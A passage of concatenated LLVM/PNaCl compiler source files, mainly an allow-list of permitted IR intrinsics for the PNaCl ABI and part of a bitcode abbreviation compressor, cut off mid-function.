// (1) Allowed always, provided the exact name and type match.
// (2) Never allowed.
// (3) Debug info intrinsics.
//
//===----------------------------------------------------------------------===//
#include "llvm/Analysis/NaCl/PNaClAllowedIntrinsics.h"
#include "llvm/ADT/STLExtras.h"
#include "llvm/Analysis/NaCl.h"
#include "llvm/IR/Function.h"
#include "llvm/IR/Type.h"
using namespace llvm;
/*
The constructor sets up the whitelist of allowed intrinsics and their expected
types. The comments in that code have some details on the allowed intrinsics.
Additionally, the following intrinsics are disallowed for the stated reasons:
* Trampolines depend on a target-specific-sized/aligned buffer.
Intrinsic::adjust_trampoline:
Intrinsic::init_trampoline:
* CXX exception handling is not stable.
Intrinsic::eh_dwarf_cfa:
Intrinsic::eh_return_i32:
Intrinsic::eh_return_i64:
Intrinsic::eh_sjlj_callsite:
Intrinsic::eh_sjlj_functioncontext:
Intrinsic::eh_sjlj_longjmp:
Intrinsic::eh_sjlj_lsda:
Intrinsic::eh_sjlj_setjmp:
Intrinsic::eh_typeid_for:
Intrinsic::eh_unwind_init:
* We do not want to expose addresses to the user.
Intrinsic::frameaddress:
Intrinsic::returnaddress:
* We do not support stack protectors.
Intrinsic::stackprotector:
* Var-args handling is done w/out intrinsics.
Intrinsic::vacopy:
Intrinsic::vaend:
Intrinsic::vastart:
* Disallow the *_with_overflow intrinsics because they return
struct types. All of them can be introduced by passing -ftrapv
to Clang, which we do not support for now. umul_with_overflow
and uadd_with_overflow are introduced by Clang for C++'s new[],
but ExpandArithWithOverflow expands out this use.
Intrinsic::sadd_with_overflow:
Intrinsic::ssub_with_overflow:
Intrinsic::uadd_with_overflow:
Intrinsic::usub_with_overflow:
Intrinsic::smul_with_overflow:
Intrinsic::umul_with_overflow:
* Disallow lifetime.start/end because the semantics of what
arguments they accept are not very well defined, and because it
would be better to do merging of stack slots in the user
toolchain than in the PNaCl translator.
See https://code.google.com/p/nativeclient/issues/detail?id=3443
Intrinsic::lifetime_end:
Intrinsic::lifetime_start:
Intrinsic::invariant_end:
Intrinsic::invariant_start:
* Some transcendental functions not needed yet.
Intrinsic::cos:
Intrinsic::exp:
Intrinsic::exp2:
Intrinsic::log:
Intrinsic::log2:
Intrinsic::log10:
Intrinsic::pow:
Intrinsic::powi:
Intrinsic::sin:
* We run -lower-expect to convert Intrinsic::expect into branch weights
and consume in the middle-end. The backend just ignores llvm.expect.
Intrinsic::expect:
* For FLT_ROUNDS macro from float.h. It works for ARM and X86
(but not MIPS). Also, wait until we add a set_flt_rounds intrinsic
before we bless this.
case Intrinsic::flt_rounds:
*/
PNaClAllowedIntrinsics::
PNaClAllowedIntrinsics(LLVMContext *Context) : Context(Context) {
Type *I8Ptr = Type::getInt8PtrTy(*Context);
Type *I8 = Type::getInt8Ty(*Context);
Type *I16 = Type::getInt16Ty(*Context);
Type *I32 = Type::getInt32Ty(*Context);
Type *I64 = Type::getInt64Ty(*Context);
Type *Float = Type::getFloatTy(*Context);
Type *Double = Type::getDoubleTy(*Context);
Type *Vec4Float = VectorType::get(Float, 4);
// We accept bswap for a limited set of types (i16, i32, i64). The
// various backends are able to generate instructions to implement
// the intrinsic. Also, i16 and i64 are easy to implement as along
// as there is a way to do i32.
addIntrinsic(Intrinsic::bswap, I16);
addIntrinsic(Intrinsic::bswap, I32);
addIntrinsic(Intrinsic::bswap, I64);
// We accept cttz, ctlz, and ctpop for a limited set of types (i32, i64).
addIntrinsic(Intrinsic::ctlz, I32);
addIntrinsic(Intrinsic::ctlz, I64);
addIntrinsic(Intrinsic::cttz, I32);
addIntrinsic(Intrinsic::cttz, I64);
addIntrinsic(Intrinsic::ctpop, I32);
addIntrinsic(Intrinsic::ctpop, I64);
addIntrinsic(Intrinsic::nacl_read_tp);
addIntrinsic(Intrinsic::nacl_longjmp);
addIntrinsic(Intrinsic::nacl_setjmp);
addIntrinsic(Intrinsic::fabs, Float);
addIntrinsic(Intrinsic::fabs, Double);
addIntrinsic(Intrinsic::fabs, Vec4Float);
// For native sqrt instructions. Must guarantee when x < -0.0, sqrt(x) = NaN.
addIntrinsic(Intrinsic::sqrt, Float);
addIntrinsic(Intrinsic::sqrt, Double);
Type *AtomicTypes[] = { I8, I16, I32, I64 };
for (size_t T = 0, E = array_lengthof(AtomicTypes); T != E; ++T) {
addIntrinsic(Intrinsic::nacl_atomic_load, AtomicTypes[T]);
addIntrinsic(Intrinsic::nacl_atomic_store, AtomicTypes[T]);
addIntrinsic(Intrinsic::nacl_atomic_rmw, AtomicTypes[T]);
addIntrinsic(Intrinsic::nacl_atomic_cmpxchg, AtomicTypes[T]);
}
addIntrinsic(Intrinsic::nacl_atomic_fence);
addIntrinsic(Intrinsic::nacl_atomic_fence_all);
addIntrinsic(Intrinsic::nacl_atomic_is_lock_free);
// Stack save and restore are used to support C99 VLAs.
addIntrinsic(Intrinsic::stacksave);
addIntrinsic(Intrinsic::stackrestore);
addIntrinsic(Intrinsic::trap);
// We only allow the variants of memcpy/memmove/memset with an i32
// "len" argument, not an i64 argument.
Type *MemcpyTypes[] = { I8Ptr, I8Ptr, I32 };
addIntrinsic(Intrinsic::memcpy, MemcpyTypes);
addIntrinsic(Intrinsic::memmove, MemcpyTypes);
Type *MemsetTypes[] = { I8Ptr, I32 };
addIntrinsic(Intrinsic::memset, MemsetTypes);
}
void PNaClAllowedIntrinsics::addIntrinsic(Intrinsic::ID ID,
ArrayRef<Type *> Tys) {
std::string Name = Intrinsic::getName(ID, Tys);
FunctionType *FcnType = Intrinsic::getType(*Context, ID, Tys);
if (TypeMap.count(Name) >= 1) {
std::string Buffer;
raw_string_ostream StrBuf(Buffer);
StrBuf << "Instrinsic " << Name << " defined with multiple types: "
<< *TypeMap[Name] << " and " << *FcnType << "\n";
report_fatal_error(StrBuf.str());
}
TypeMap[Name] = FcnType;
}
bool PNaClAllowedIntrinsics::isAllowed(const Function *Func) {
if (isIntrinsicName(Func->getName()))
return Func->getFunctionType() == TypeMap[Func->getName()];
// Check to see if debugging intrinsic, which can be allowed if
// command-line flag set.
return isAllowedDebugInfoIntrinsic(Func->getIntrinsicID());
}
bool PNaClAllowedIntrinsics::isAllowedDebugInfoIntrinsic(unsigned IntrinsicID) {
/* These intrinsics are allowed when debug info metadata is also allowed,
and we just assume that they are called correctly by the frontend. */
switch (IntrinsicID) {
default: return false;
case Intrinsic::dbg_declare:
case Intrinsic::dbg_value:
return PNaClABIAllowDebugMetadata;
}
}
<file_sep>/lib/Bitcode/NaCl/Writer/CMakeLists.txt
add_llvm_library(LLVMNaClBitWriter
NaClBitcodeWriter.cpp
NaClBitcodeWriterPass.cpp
NaClValueEnumerator.cpp
)
add_dependencies(LLVMNaClBitWriter intrinsics_gen)
<file_sep>/lib/MC/MCLinkerOptimizationHint.cpp
//===-- llvm/MC/MCLinkerOptimizationHint.cpp ----- LOH handling -*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#include "llvm/MC/MCLinkerOptimizationHint.h"
#include "llvm/MC/MCAsmLayout.h"
#include "llvm/MC/MCAssembler.h"
#include "llvm/Support/LEB128.h"
using namespace llvm;
// Each LOH is composed by, in this order (each field is encoded using ULEB128):
// - Its kind.
// - Its number of arguments (let say N).
// - Its arg1.
// - ...
// - Its argN.
// <arg1> to <argN> are absolute addresses in the object file, i.e.,
// relative addresses from the beginning of the object file.
void MCLOHDirective::Emit_impl(raw_ostream &OutStream,
const MachObjectWriter &ObjWriter,
const MCAsmLayout &Layout) const {
const MCAssembler &Asm = Layout.getAssembler();
encodeULEB128(Kind, OutStream);
encodeULEB128(Args.size(), OutStream);
for (LOHArgs::const_iterator It = Args.begin(), EndIt = Args.end();
It != EndIt; ++It)
encodeULEB128(ObjWriter.getSymbolAddress(&Asm.getSymbolData(**It), Layout),
OutStream);
}
<file_sep>/lib/Bitcode/NaCl/Analysis/NaClCompress.cpp
//===-- NaClCompress.cpp - Bitcode (abbrev) compression -----------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// Analyzes the data in memory buffer, and determines what
// abbreviations can be added to compress the bitcode file. The result
// is written to an output stream.
//
// A bitcode file has two types of abbreviations. The first are Global
// abbreviations that apply to all instances of a particular type of
// block. These abbreviations appear in the BlockInfo block of the
// bitcode file.
//
// The second type of abbreviations are local to a particular instance
// of a block.
//
// For simplicity, we will only add global abbreviations. Local
// abbreviations are converted to corresponding global abbreviations,
// so that they can be added as global abbreviations.
//
// The process of compressing is done by reading the input file
// twice. In the first round, the records are read and analyzed,
// generating a set of (global) abbreviations to use to generate the
// compressed output file. Then, the input file is read again, and for
// each record, the best fitting global abbreviation is found (or it
// figures out that leaving the record unabbreviated is best) and
// writes the record out accordingly.
//
// TODO(kschimpf): The current implementation does a trivial solution
// for the first round. It just converts all abbreviations (local and
// global) into global abbreviations. Future refinements of this file
// will generate better (and more intelligent) global abbreviations,
// based on the records found on the first read of the bitcode file.
//
//===----------------------------------------------------------------------===//
#include "llvm/Bitcode/NaCl/NaClCompress.h"
#include "llvm/ADT/DenseMap.h"
#include "llvm/ADT/STLExtras.h"
#include "llvm/Bitcode/NaCl/AbbrevTrieNode.h"
#include "llvm/Bitcode/NaCl/NaClBitcodeHeader.h"
#include "llvm/Bitcode/NaCl/NaClBitstreamWriter.h"
#include "llvm/Bitcode/NaCl/NaClCompressBlockDist.h"
#include "llvm/Bitcode/NaCl/NaClReaderWriter.h"
namespace {
using namespace llvm;
// Generates an error message when outside parsing, and no
// corresponding bit position is known.
static bool Error(const std::string &Err) {
errs() << Err << "\n";
return true;
}
// Prints out the abbreviation in readable form to the given Stream.
static void printAbbrev(raw_ostream &Stream, unsigned BlockID,
const NaClBitCodeAbbrev *Abbrev) {
Stream << "Abbrev(block " << BlockID << "): ";
Abbrev->Print(Stream);
}
/// type map from bitstream abbreviation index to corresponding
/// internal abbreviation index.
typedef std::map<unsigned, unsigned> BitstreamToInternalAbbrevMapType;
/// Defines a mapping from bitstream abbreviation indices, to
/// corresponding internal abbreviation indices.
class AbbrevBitstreamToInternalMap {
public:
AbbrevBitstreamToInternalMap()
: NextBitstreamAbbrevIndex(0) {}
/// Returns the bitstream abbreviaion index that will be associated
/// with the next internal abbreviation index.
unsigned getNextBitstreamAbbrevIndex() {
return NextBitstreamAbbrevIndex;
}
/// Changes the next bitstream abbreviation index to the given value.
void setNextBitstreamAbbrevIndex(unsigned NextIndex) {
NextBitstreamAbbrevIndex = NextIndex;
}
/// Returns true if there is an internal abbreviation index for the
/// given bitstream abbreviation.
bool definesBitstreamAbbrevIndex(unsigned Index) {
return BitstreamToInternalAbbrevMap.find(Index) !=
BitstreamToInternalAbbrevMap.end();
}
/// Returns the internal abbreviation index for the given bitstream
/// abbreviation index.
unsigned getInternalAbbrevIndex(unsigned Index) {
return BitstreamToInternalAbbrevMap.at(Index);
}
/// Installs the given internal abbreviation index using the next
/// available bitstream abbreviation index.
void installNewBitstreamAbbrevIndex(unsigned InternalIndex) {
BitstreamToInternalAbbrevMap[NextBitstreamAbbrevIndex++] = InternalIndex;
}
private:
// The index of the next bitstream abbreviation to be defined.
unsigned NextBitstreamAbbrevIndex;
// Map from bitstream abbreviation index to corresponding internal
// abbreviation index.
BitstreamToInternalAbbrevMapType BitstreamToInternalAbbrevMap;
};
/// Defines the list of abbreviations associated with a block.
class BlockAbbrevs {
public:
// Vector to hold the (ordered) list of abbreviations.
typedef SmallVector<NaClBitCodeAbbrev*, 32> AbbrevVector;
BlockAbbrevs(unsigned BlockID)
: BlockID(BlockID) {
// backfill internal indices that don't correspond to bitstream
// application abbreviations, so that added abbreviations have
// valid abbreviation indices.
for (unsigned i = 0; i < naclbitc::FIRST_APPLICATION_ABBREV; ++i) {
// Make all non-application abbreviations look like the default
// abbreviation.
NaClBitCodeAbbrev *Abbrev = new NaClBitCodeAbbrev();
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::Array));
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 6));
Abbrevs.push_back(Abbrev);
}
GlobalAbbrevBitstreamToInternalMap.
setNextBitstreamAbbrevIndex(Abbrevs.size());
}
~BlockAbbrevs() {
for (AbbrevVector::const_iterator
Iter = Abbrevs.begin(), IterEnd = Abbrevs.end();
Iter != IterEnd; ++Iter) {
(*Iter)->dropRef();
}
for (AbbrevLookupSizeMap::const_iterator
Iter = LookupMap.begin(), IterEnd = LookupMap.end();
Iter != IterEnd; ++Iter) {
delete Iter->second;
}
}
// Constant used to denote that a given abbreviation is not in the
// set of abbreviations defined by the block.
static const int NO_SUCH_ABBREVIATION = -1;
// Returns the index to the corresponding application abbreviation,
// if it exists. Otherwise return NO_SUCH_ABBREVIATION;
int findAbbreviation(const NaClBitCodeAbbrev *Abbrev) const {
for (unsigned i = getFirstApplicationAbbreviation();
i < getNumberAbbreviations(); ++i) {
if (*Abbrevs[i] == *Abbrev) return i;
}
return NO_SUCH_ABBREVIATION;
}
/// Adds the given abbreviation to the set of global abbreviations
/// defined for the block. Guarantees that duplicate abbreviations
/// are not added to the block. Note: Code takes ownership of
/// the given abbreviation. Returns true if new abbreviation.
/// Updates Index to the index where the abbreviation is located
/// in the set of abbreviations.
bool addAbbreviation(NaClBitCodeAbbrev *Abbrev, int &Index) {
Index = findAbbreviation(Abbrev);
if (Index != NO_SUCH_ABBREVIATION) {
// Already defined, don't install.
Abbrev->dropRef();
return false;
}
// New abbreviation. Add.
Index = Abbrevs.size();
Abbrevs.push_back(Abbrev);
return true;
}
/// Adds the given abbreviation to the set of global abbreviations
/// defined for the block. Guarantees that duplicate abbreviations
/// are not added to the block. Note: Code takes ownership of
/// the given abbreviation. Returns true if new abbreviation.
bool addAbbreviation(NaClBitCodeAbbrev *Abbrev) {
int Index;
return addAbbreviation(Abbrev, Index);
}
/// The block ID associated with the block.
unsigned getBlockID() const {
return BlockID;
}
/// Returns the index of the frist application abbreviation for the
/// block.
unsigned getFirstApplicationAbbreviation() const {
return naclbitc::FIRST_APPLICATION_ABBREV;
}
// Returns the number of abbreviations associated with the block.
unsigned getNumberAbbreviations() const {
return Abbrevs.size();
}
// Returns true if there is an application abbreviation.
bool hasApplicationAbbreviations() const {
return Abbrevs.size() > naclbitc::FIRST_APPLICATION_ABBREV;
}
/// Returns the abbreviation associated with the given abbreviation
/// index.
NaClBitCodeAbbrev *getIndexedAbbrev(unsigned index) {
if (index >= Abbrevs.size()) return 0;
return Abbrevs[index];
}
// Builds the corresponding fast lookup map for finding abbreviations
// that applies to abbreviations in the block
void buildAbbrevLookupSizeMap(
const NaClBitcodeCompressor::CompressFlags &Flags) {
NaClBuildAbbrevLookupMap(getLookupMap(),
getAbbrevs(),
getFirstApplicationAbbreviation());
if (Flags.ShowAbbrevLookupTries) printLookupMap(errs());
}
AbbrevBitstreamToInternalMap &getGlobalAbbrevBitstreamToInternalMap() {
return GlobalAbbrevBitstreamToInternalMap;
}
AbbrevLookupSizeMap &getLookupMap() {
return LookupMap;
}
// Returns lower level vector of abbreviations.
const AbbrevVector &getAbbrevs() const {
return Abbrevs;
}
// Returns the abbreviation (index) to use for the corresponding
// record, based on the abbreviations of this block. Note: Assumes
// that buildAbbrevLookupSizeMap has already been called.
unsigned getRecordAbbrevIndex(const NaClBitcodeRecordData &Record) {
unsigned BestIndex = 0; // Ignored unless found candidate.
unsigned BestScore = 0; // Number of bits associated with BestIndex.
bool FoundCandidate = false;
NaClBitcodeValues Values(Record);
size_t Size = Values.size();
if (Size > NaClValueIndexCutoff) Size = NaClValueIndexCutoff+1;
AbbrevLookupSizeMap::const_iterator Pos = LookupMap.find(Size);
if (Pos != LookupMap.end()) {
if (const AbbrevTrieNode *Node = Pos->second) {
if (const AbbrevTrieNode *MatchNode =
Node->MatchRecord(Record)) {
const std::set<AbbrevIndexPair> &Abbreviations =
MatchNode->GetAbbreviations();
for (std::set<AbbrevIndexPair>::const_iterator
Iter = Abbreviations.begin(),
IterEnd = Abbreviations.end();
Iter != IterEnd; ++Iter) {
uint64_t NumBits = 0;
if (canUseAbbreviation(Values, Iter->second, NumBits)) {
if (!FoundCandidate || NumBits < BestScore) {
// Use this as candidate.
BestIndex = Iter->first;
BestScore = NumBits;
FoundCandidate = true;
}
}
}
}
}
}
if (FoundCandidate && BestScore <= unabbreviatedSize(Record)) {
return BestIndex;
}
return naclbitc::UNABBREV_RECORD;
}
// Computes the number of bits that will be generated by the
// corresponding read record, if no abbreviation is used.
static uint64_t unabbreviatedSize(const NaClBitcodeRecordData &Record) {
uint64_t NumBits = matchVBRBits(Record.Code, DefaultVBRBits);
size_t NumValues = Record.Values.size();
NumBits += matchVBRBits(NumValues, DefaultVBRBits);
for (size_t Index = 0; Index < NumValues; ++Index) {
NumBits += matchVBRBits(Record.Values[Index], DefaultVBRBits);
}
return NumBits;
}
// Returns true if the given abbreviation can be used to represent the
// record. Sets NumBits to the number of bits the abbreviation will
// generate. Note: Value of NumBits is undefined if this function
// return false.
static bool canUseAbbreviation(NaClBitcodeValues &Values,
NaClBitCodeAbbrev *Abbrev, uint64_t &NumBits) {
NumBits = 0;
unsigned OpIndex = 0;
unsigned OpIndexEnd = Abbrev->getNumOperandInfos();
size_t ValueIndex = 0;
size_t ValueIndexEnd = Values.size();
while (ValueIndex < ValueIndexEnd && OpIndex < OpIndexEnd) {
const NaClBitCodeAbbrevOp &Op = Abbrev->getOperandInfo(OpIndex);
switch (Op.getEncoding()) {
case NaClBitCodeAbbrevOp::Literal:
if (canUseSimpleAbbrevOp(Op, Values[ValueIndex], NumBits)) {
++ValueIndex;
++OpIndex;
continue;
} else {
return false;
}
case NaClBitCodeAbbrevOp::Array: {
assert(OpIndex+2 == OpIndexEnd);
const NaClBitCodeAbbrevOp &ElmtOp =
Abbrev->getOperandInfo(OpIndex+1);
// Add size of array.
NumBits += matchVBRBits(Values.size()-ValueIndex, DefaultVBRBits);
// Add size of each field.
for (; ValueIndex != ValueIndexEnd; ++ValueIndex) {
uint64_t FieldBits=0;
if (!canUseSimpleAbbrevOp(ElmtOp, Values[ValueIndex], FieldBits)) {
return false;
}
NumBits += FieldBits;
}
return true;
}
default: {
if (canUseSimpleAbbrevOp(Op, Values[ValueIndex], NumBits)) {
++ValueIndex;
++OpIndex;
break;
}
return false;
}
}
}
return ValueIndex == ValueIndexEnd && OpIndex == OpIndexEnd;
}
// Returns true if the given abbreviation Op defines a single value,
// and can be applied to the given Val. Adds the number of bits the
// abbreviation Op will generate to NumBits if Op applies.
static bool canUseSimpleAbbrevOp(const NaClBitCodeAbbrevOp &Op,
uint64_t Val,
uint64_t &NumBits) {
switch (Op.getEncoding()) {
case NaClBitCodeAbbrevOp::Literal:
return Val == Op.getValue();
case NaClBitCodeAbbrevOp::Array:
return false;
case NaClBitCodeAbbrevOp::Fixed: {
uint64_t Width = Op.getValue();
if (!matchFixedBits(Val, Width))
return false;
NumBits += Width;
return true;
}
case NaClBitCodeAbbrevOp::VBR:
if (unsigned Width = matchVBRBits(Val, Op.getValue())) {
NumBits += Width;
return true;
} else {
return false;
}
case NaClBitCodeAbbrevOp::Char6:
if (!NaClBitCodeAbbrevOp::isChar6(Val)) return false;
NumBits += 6;
return true;
}
llvm_unreachable("unhandled NaClBitCodeAbbrevOp encoding");
}
// Returns true if the given Val can be represented by abbreviation
// operand Fixed(Width).
static bool matchFixedBits(uint64_t Val, unsigned Width) {
// Note: The reader only allows up to 32 bits for fixed values.
if (Val & Mask32) return false;
if (Val & ~(~0U >> (32-Width))) return false;
return true;
}
// Returns the number of bits needed to represent Val by abbreviation
// operand VBR(Width). Note: Returns 0 if Val can't be represented
// by VBR(Width).
static unsigned matchVBRBits(uint64_t Val, unsigned Width) {
if (Width == 0) return 0;
unsigned NumBits = 0;
while (1) {
// values emitted Width-1 bits at a time (plus a continue bit).
NumBits += Width;
if ((Val & (1U << (Width-1))) == 0)
return NumBits;
Val >>= Width-1;
}
}
private:
// Defines the number of bits used to print VBR array field values.
static const unsigned DefaultVBRBits = 6;
// Masks out the top-32 bits of a uint64_t value.
static const uint64_t Mask32 = 0xFFFFFFFF00000000;
// The block ID for which abbreviations are being associated.
unsigned BlockID;
// The list of abbreviations defined for the block.
AbbrevVector Abbrevs;
// The mapping from global bitstream abbreviations to the corresponding
// block abbreviation index (in Abbrevs).
AbbrevBitstreamToInternalMap GlobalAbbrevBitstreamToInternalMap;
// A fast lookup map for finding the abbreviation that applies
// to a record.
AbbrevLookupSizeMap LookupMap;
void printLookupMap(raw_ostream &Stream) const {
Stream << "------------------------------\n";
Stream << "Block " << getBlockID() << " abbreviation tries:\n";
bool IsFirstIteration = true;
for (AbbrevLookupSizeMap::const_iterator
Iter = LookupMap.begin(), IterEnd = LookupMap.end();
Iter != IterEnd; ++Iter) {
if (IsFirstIteration)
IsFirstIteration = false;
else
Stream << "-----\n";
if (Iter->second) {
Stream << "Index " << Iter->first << ":\n";
Iter->second->Print(Stream, " ");
}
}
Stream << "------------------------------\n";
}
};
/// Defines a map from block ID's to the corresponding abbreviation
/// map to use.
typedef DenseMap<unsigned, BlockAbbrevs*> BlockAbbrevsMapType;
typedef std::pair<unsigned, BlockAbbrevs*> BlockAbbrevsMapElmtType;
/// Gets the corresponding block abbreviations for a block ID.
static BlockAbbrevs *getAbbrevs(BlockAbbrevsMapType &AbbrevsMap,
unsigned BlockID) {
BlockAbbrevs *Abbrevs = AbbrevsMap[BlockID];
if (Abbrevs == nullptr) {
Abbrevs = new BlockAbbrevs(BlockID);
AbbrevsMap[BlockID] = Abbrevs;
}
return Abbrevs;
}
/// Parses the bitcode file, analyzes it, and generates the
/// corresponding lists of global abbreviations to use in the
/// generated (compressed) bitcode file.
class NaClAnalyzeParser : public NaClBitcodeParser {
NaClAnalyzeParser(const NaClAnalyzeParser&) = delete;
void operator=(const NaClAnalyzeParser&) = delete;
public:
// Creates the analysis parser, which will fill the given
// BlockAbbrevsMap with appropriate abbreviations, after
// analyzing the bitcode file defined by Cursor.
NaClAnalyzeParser(const NaClBitcodeCompressor::CompressFlags &Flags,
NaClBitstreamCursor &Cursor,
BlockAbbrevsMapType &BlockAbbrevsMap)
: NaClBitcodeParser(Cursor), Flags(Flags),
BlockAbbrevsMap(BlockAbbrevsMap),
BlockDist(&NaClCompressBlockDistElement::Sentinel),
AbbrevListener(this)
{
SetListener(&AbbrevListener);
}
virtual ~NaClAnalyzeParser() {}
virtual bool ParseBlock(unsigned BlockID);
const NaClBitcodeCompressor::CompressFlags &Flags;
// Mapping from block ID's to the corresponding list of abbreviations
// associated with that block.
BlockAbbrevsMapType &BlockAbbrevsMap;
// Nested distribution capturing distribution of records in bitcode file.
NaClBitcodeBlockDist BlockDist;
// Listener used to get abbreviations as they are read.
NaClBitcodeParserListener AbbrevListener;
};
class NaClBlockAnalyzeParser : public NaClBitcodeParser {
NaClBlockAnalyzeParser(const NaClBlockAnalyzeParser&) = delete;
void operator=(NaClBlockAnalyzeParser&) = delete;
public:
/// Top-level constructor to build the top-level block with the
/// given BlockID, and collect data (for compression) in that block.
NaClBlockAnalyzeParser(unsigned BlockID,
NaClAnalyzeParser *Context)
: NaClBitcodeParser(BlockID, Context), Context(Context) {
init();
}
virtual ~NaClBlockAnalyzeParser() {
Context->BlockDist.AddBlock(GetBlock());
}
protected:
/// Nested constructor to parse a block within a block. Creates a
/// block parser to parse a block with the given BlockID, and
/// collect data (for compression) in that block.
NaClBlockAnalyzeParser(unsigned BlockID,
NaClBlockAnalyzeParser *EnclosingParser)
: NaClBitcodeParser(BlockID, EnclosingParser),
Context(EnclosingParser->Context) {
init();
}
public:
virtual bool ParseBlock(unsigned BlockID) {
NaClBlockAnalyzeParser Parser(BlockID, this);
return Parser.ParseThisBlock();
}
virtual void ProcessRecord() {
// Before processing the record, we need to rename the abbreviation
// index, so that we can look it up in the set of block abbreviations
// being defined.
if (Record.UsedAnAbbreviation()) {
unsigned AbbrevIndex = Record.GetAbbreviationIndex();
if (LocalAbbrevBitstreamToInternalMap.
definesBitstreamAbbrevIndex(AbbrevIndex)) {
Record.SetAbbreviationIndex(
LocalAbbrevBitstreamToInternalMap.
getInternalAbbrevIndex(AbbrevIndex));
} else {
AbbrevBitstreamToInternalMap &GlobalAbbrevBitstreamToInternalMap =
GlobalBlockAbbrevs->getGlobalAbbrevBitstreamToInternalMap();
if (GlobalAbbrevBitstreamToInternalMap.
definesBitstreamAbbrevIndex(AbbrevIndex)) {
Record.SetAbbreviationIndex(
GlobalAbbrevBitstreamToInternalMap.
getInternalAbbrevIndex(AbbrevIndex));
} else {
report_fatal_error("Bad abbreviation index in file");
}
}
}
cast<NaClCompressBlockDistElement>(
Context->BlockDist.GetElement(Record.GetBlockID()))
->GetAbbrevDist().AddRecord(Record);
}
virtual void ProcessAbbreviation(unsigned BlockID,
NaClBitCodeAbbrev *Abbrev,
bool IsLocal) {
int Index;
addAbbreviation(BlockID, Abbrev->Simplify(), Index);
if (IsLocal) {
LocalAbbrevBitstreamToInternalMap.installNewBitstreamAbbrevIndex(Index);
} else {
getGlobalAbbrevs(BlockID)->getGlobalAbbrevBitstreamToInternalMap().
installNewBitstreamAbbrevIndex(Index);
}
}
protected:
// The context (i.e. top-level) parser.
NaClAnalyzeParser *Context;
// The global block abbreviations associated with this block.
BlockAbbrevs *GlobalBlockAbbrevs;
// The local abbreviations associated with this block.
AbbrevBitstreamToInternalMap LocalAbbrevBitstreamToInternalMap;
/// Returns the set of (global) block abbreviations defined for the
/// given block ID.
BlockAbbrevs *getGlobalAbbrevs(unsigned BlockID) {
return getAbbrevs(Context->BlockAbbrevsMap, BlockID);
}
// Adds the abbreviation to the list of abbreviations for the given
// block.
void addAbbreviation(unsigned BlockID, NaClBitCodeAbbrev *Abbrev,
int &Index) {
// Get block abbreviations.
BlockAbbrevs* Abbrevs = getGlobalAbbrevs(BlockID);
// Read abbreviation and add as a global abbreviation.
if (Abbrevs->addAbbreviation(Abbrev, Index)
&& Context->Flags.TraceGeneratedAbbreviations) {
printAbbrev(errs(), BlockID, Abbrev);
}
}
/// Finds the index to the corresponding internal block abbreviation
/// for the given abbreviation.
int findAbbreviation(unsigned BlockID, const NaClBitCodeAbbrev *Abbrev) {
return getGlobalAbbrevs(BlockID)->findAbbreviation(Abbrev);
}
void init() {
GlobalBlockAbbrevs = getGlobalAbbrevs(GetBlockID());
LocalAbbrevBitstreamToInternalMap.setNextBitstreamAbbrevIndex(
GlobalBlockAbbrevs->
getGlobalAbbrevBitstreamToInternalMap().getNextBitstreamAbbrevIndex());
}
};
bool NaClAnalyzeParser::ParseBlock(unsigned BlockID) {
NaClBlockAnalyzeParser Parser(BlockID, this);
return Parser.ParseThisBlock();
}
/// Models the unrolling of an abbreviation into its sequence of
/// individual operators. That is, unrolling arrays to match the width
/// of the abbreviation.
///
/// For example, consider the abbreviation [Array(VBR(6))]. If the
/// distribution map has data for records of size 3, and the
/// distribution map suggests that a constant 4 appears as the second
/// element in the record, it is nontrivial to figure out how to
/// encorporate this into this abbrevation. Hence, we unroll the array
/// (3 times) to get [VBR(6), VBR(6), VBR(6), Array(VBR(6))]. To
/// update the second element to match the literal 4, we only need to
/// replace the second element in the unrolled abbreviation resulting
/// in [VBR(6), Lit(4), VBR(6), Array(VBR(6))].
///
/// After we have done appropriate substitutions, we can simplify the
/// unrolled abbreviation by calling method Restore.
///
/// Note: We unroll in the form that best matches the distribution
/// map. Hence, the code is stored as a separate operator. We also
/// keep the array abbreviation op, for untracked elements within the
/// distribution maps.
class UnrolledAbbreviation {
void operator=(const UnrolledAbbreviation&) = delete;
public:
/// Unroll the given abbreviation, assuming it has the given size
/// (as specified in the distribution maps).
///
/// If argument CanBeBigger is true, then we do not assume that we
/// can remove the trailing array when expanding, because the
/// actual size of the corresponding record using this abbreviation
/// may be bigger.
UnrolledAbbreviation(NaClBitCodeAbbrev *Abbrev, unsigned Size,
bool CanBeBigger = false)
: CodeOp(0) {
unsigned NextOp = 0;
unrollAbbrevOp(CodeOp, Abbrev, NextOp);
--Size;
for (unsigned i = 0; i < Size; ++i) {
// Create slot and then fill with appropriate operator.
AbbrevOps.push_back(CodeOp);
unrollAbbrevOp(AbbrevOps[i], Abbrev, NextOp);
}
if (CanBeBigger) {
for (; NextOp < Abbrev->getNumOperandInfos(); ++NextOp) {
MoreOps.push_back(Abbrev->getOperandInfo(NextOp));
}
} else if (NextOp < Abbrev->getNumOperandInfos() &&
!Abbrev->getOperandInfo(NextOp).isArrayOp()) {
errs() << (Size+1) << ": ";
Abbrev->Print(errs());
llvm_unreachable("Malformed abbreviation/size pair");
}
}
explicit UnrolledAbbreviation(const UnrolledAbbreviation &Abbrev)
: CodeOp(Abbrev.CodeOp),
AbbrevOps(Abbrev.AbbrevOps),
MoreOps(Abbrev.MoreOps) {
}
/// Prints out the abbreviation modeled by the unrolled
/// abbreviation.
void print(raw_ostream &Stream) const {
NaClBitCodeAbbrev *Abbrev = restore(false);
Abbrev->Print(Stream);
Abbrev->dropRef();
}
/// Converts the unrolled abbreviation back into a regular
/// abbreviation. If Simplify is true, we simplify the
/// unrolled abbreviation as well.
NaClBitCodeAbbrev *restore(bool Simplify=true) const {
NaClBitCodeAbbrev *Abbrev = new NaClBitCodeAbbrev();
Abbrev->Add(CodeOp);
for (std::vector<NaClBitCodeAbbrevOp>::const_iterator
Iter = AbbrevOps.begin(), IterEnd = AbbrevOps.end();
Iter != IterEnd; ++Iter) {
Abbrev->Add(*Iter);
}
for (std::vector<NaClBitCodeAbbrevOp>::const_iterator
Iter = MoreOps.begin(), IterEnd = MoreOps.end();
Iter != IterEnd; ++Iter) {
